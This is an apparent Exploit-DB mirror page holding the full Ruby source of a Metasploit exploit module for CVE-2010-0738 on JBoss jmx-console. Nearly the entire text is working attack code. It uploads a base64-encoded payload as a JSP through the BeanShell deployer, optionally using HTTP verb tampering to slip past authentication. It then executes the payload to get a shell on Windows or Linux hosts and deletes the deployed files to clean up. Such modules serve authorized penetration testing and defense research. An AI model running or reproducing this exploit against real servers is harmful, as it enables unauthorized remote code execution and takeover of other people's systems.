JBoss JMX – Console Beanshell Deployer WAR Upload and Deployment (Metasploit)

  • 作者: Metasploit
    日期: 2011-01-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16319/
  • ##
    # $Id: jboss_bshdeployer.rb 11533 2011-01-10 14:34:24Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }
    
    	include Msf::Exploit::Remote::HttpClient
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name'			=> 'JBoss JMX Console Beanshell Deployer WAR upload and deployment',
    			'Description'	=> %q{
    					This module can be used to install a WAR file payload on JBoss servers that have
    				an exposed "jmx-console" application. The payload is put on the server by
    				using the jboss.system:BSHDeployer\'s createScriptDeployment() method.
    			},
    			'Author' =>
    				[
    					'Patrick Hof',
    					'jduck',
    					'Konrads Smelkovs'
    				],
    			'License'		=> BSD_LICENSE,
    			'Version' 		=> '$Revision: 11533 $',
    			'References'	=>
    				[
    					[ 'CVE', '2010-0738' ], # using a VERB other than GET/POST
    					[ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ]
    				],
    			'Privileged' => true,
    			'Platform' => [ 'windows', 'linux' ],
    			'Stance' => Msf::Exploit::Stance::Aggressive,
    			'Targets'		=>
    				[
    					[ 'Universal',
    						{
    							'Arch' => ARCH_JAVA,
    							'Payload' =>
    							{
    								'DisableNops' => true
    							},
    						}
    					],
    				],
    			'DefaultTarget'=> 0))
    
    		register_options(
    			[
    				Opt::RPORT(8080),
    				OptString.new('USERNAME',	[ false, 'The username to authenticate as' ]),
    				OptString.new('PASSWORD',	[ false, 'The password for the specified username' ]),
    				OptString.new('SHELL',		[ false, 'The system shell to use', 'auto' ]),
    				OptString.new('JSP',		 [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
    				OptString.new('APPBASE',	[ false, 'Application base name, (default: random)', nil ]),
    				OptString.new('PATH',		[ true,'The URI path of the JMX console', '/jmx-console' ]),
    				OptString.new('VERB',		[ true,'The HTTP verb to use (for CVE-2010-0738)', 'POST' ]),
    				OptString.new('PACKAGE', [ true,'The package containing the BSHDeployer service', 'auto' ])
    			], self.class)
    	end
    
    
    	def exploit
    		datastore['BasicAuthUser']	= datastore['USERNAME']
    		datastore['BasicAuthPass']	= datastore['PASSWORD']
    
    		jsp_name = datastore['JSP'] || rand_text_alphanumeric(8+rand(8))
    		app_base = datastore['APPBASE'] || rand_text_alphanumeric(8+rand(8))
    
    		verb = datastore['VERB']
    		if (verb != 'GET' and verb != 'POST')
    			verb = 'HEAD'
    		end
    
    		p = payload
    		if datastore['SHELL'] == 'auto'
    			if verb != 'HEAD'
    				if not (plat = detect_platform())
    					raise RuntimeError, 'Unable to detect platform!'
    				end
    
    				case plat
    				when 'linux'
    					datastore['SHELL'] = '/bin/sh'
    				when 'win'
    					datastore['SHELL'] = 'cmd.exe'
    				end
    
    				print_status("SHELL set to #{datastore['SHELL']}")
    			else
    				raise RuntimeError, 'Platform detection with HEAD is not supported, please set SHELL manually'
    			end
    
    			# Payload generation already happened, therefore SHELL will
    			# already be 'automatic' in the payload regardless of what we set above.
    			# To fix this, we regenerate the payload now..
    			return if ((p = exploit_regenerate_payload(platform, target_arch)) == nil)
    		end
    
    		# The following Beanshell script will write the exploded WAR file to the deploy/
    		# directory
    		encoded_payload = [p.encoded].pack('m').gsub(/\n/, '')
    		bsh_script = <<-EOT
    import java.io.FileOutputStream;
    import sun.misc.BASE64Decoder;
    
    String val = "#{encoded_payload}";
    
    BASE64Decoder decoder = new BASE64Decoder();
    String jboss_home = System.getProperty("jboss.server.home.dir");
    new File(jboss_home + "/deploy/#{app_base + '.war'}").mkdir();
    byte[] byteval = decoder.decodeBuffer(val);
    String jsp_file = jboss_home + "/deploy/#{app_base + '.war/' + jsp_name + '.jsp'}";
    FileOutputStream fstream = new FileOutputStream(jsp_file);
    fstream.write(byteval);
    fstream.close();
    EOT
    
    
    		#
    		# UPLOAD
    		#
    		print_status("Creating exploded WAR in deploy/#{app_base}.war/ dir via BSHDeployer")
    		if datastore['PACKAGE'] == 'auto'
    			packages = %w{ deployer scripts }
    		else
    			packages = [ datastore['PACKAGE'] ]
    		end
    
    		pkg = nil
    		success = false
    		packages.each do |p|
    			print_status("Attempting to use '#{p}' as package")
    			res = invoke_bshscript(bsh_script, p, verb)
    			if !res
    				raise RuntimeError, "Unable to deploy WAR [No Response]"
    			end
    
    			if (res.code < 200 || res.code >= 300)
    				case res.code
    				when 401
    					print_error("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
    				end
    				print_error("Upload to deploy WAR [#{res.code} #{res.message}]")
    			else
    				success = true
    				pkg = p
    				break
    			end
    		end
    
    		if not success
    			raise RuntimeError("Deployment failed")
    		end
    
    
    		#
    		# EXECUTE
    		#
    		uri = '/' + app_base + '/' + jsp_name + '.jsp'
    		print_status("Executing #{uri}...")
    
    		# JBoss might need some time for the deployment. Try 5 times at most and
    		# wait 5 seconds inbetween tries
    		num_attempts = 5
    		num_attempts.times { |attempt|
    			res = send_request_cgi({
    				'uri' => uri,
    				'method'=> verb
    			}, 20)
    
    			msg = nil
    			if (! res)
    				msg = "Execution failed on #{uri} [No Response]"
    			elsif (res.code < 200 or res.code >= 300)
    				msg = "Execution failed on #{uri} [#{res.code} #{res.message}]"
    			elsif (res.code == 200)
    				print_good("Successfully triggered payload at '#{uri}'")
    				break
    			end
    
    			if (attempt < num_attempts - 1)
    				msg << ", retrying in 5 seconds..."
    				print_error(msg)
    
    				select(nil, nil, nil, 5)
    			else
    				print_error(msg)
    			end
    		}
    
    
    		#
    		# DELETE
    		#
    		# The WAR can only be removed by physically deleting it, otherwise it
    		# will get redeployed after a server restart.
    		bsh_script = <<-EOT
    String jboss_home = System.getProperty("jboss.server.home.dir");
    new File(jboss_home + "/deploy/#{app_base + '.war/' + jsp_name + '.jsp'}").delete();
    new File(jboss_home + "/deploy/#{app_base + '.war'}").delete();
    EOT
    
    		print_status("Undeploying #{uri} by deleting the WAR file via BSHDeployer...")
    		res = invoke_bshscript(bsh_script, pkg, verb)
    		if !res
    			print_error("WARNING: Unable to remove WAR [No Response]")
    		end
    		if (res.code < 200 || res.code >= 300)
    			print_error("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
    		end
    
    		handler
    	end
    
    	# Try to autodetect the target platform
    	def detect_platform()
    		print_status("Attempting to automatically detect the platform...")
    
    		path = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo'
    		res = send_request_raw(
    			{
    				'uri'=> path
    			}, 20)
    
    		if (not res) or (res.code != 200)
    			print_error("Failed: Error requesting #{path}")
    			return nil
    		end
    
    		if (res.body =~ /<td.*?OSName.*?(Linux|Windows).*?<\/td>/m)
    			os = $1
    			if (os =~ /Linux/i)
    				return 'linux'
    			elsif (os =~ /Windows/i)
    				return 'win'
    			end
    		end
    		nil
    	end
    
    
    	# Invokes +bsh_script+ on the JBoss AS via BSHDeployer
    	def invoke_bshscript(bsh_script, pkg, verb)
    		params ='action=invokeOpByName'
    		params << '&name=jboss.' + pkg + ':service=BSHDeployer'
    		params << '&methodName=createScriptDeployment'
    		params << '&argType=java.lang.String'
    		params << '&arg0=' + Rex::Text.uri_encode(bsh_script)
    		params << '&argType=java.lang.String'
    		params << '&arg1=' + rand_text_alphanumeric(8+rand(8)) + '.bsh'
    
    		if (verb == "POST")
    			res = send_request_cgi({
    				'method'	=> verb,
    				'uri'		=> datastore['PATH'] + '/HtmlAdaptor',
    				'data'	=> params
    			})
    		else
    			res = send_request_cgi({
    				'method'	=> verb,
    				'uri'		=> datastore['PATH'] + '/HtmlAdaptor?' + params
    			})
    		end
    		res
    	end
    end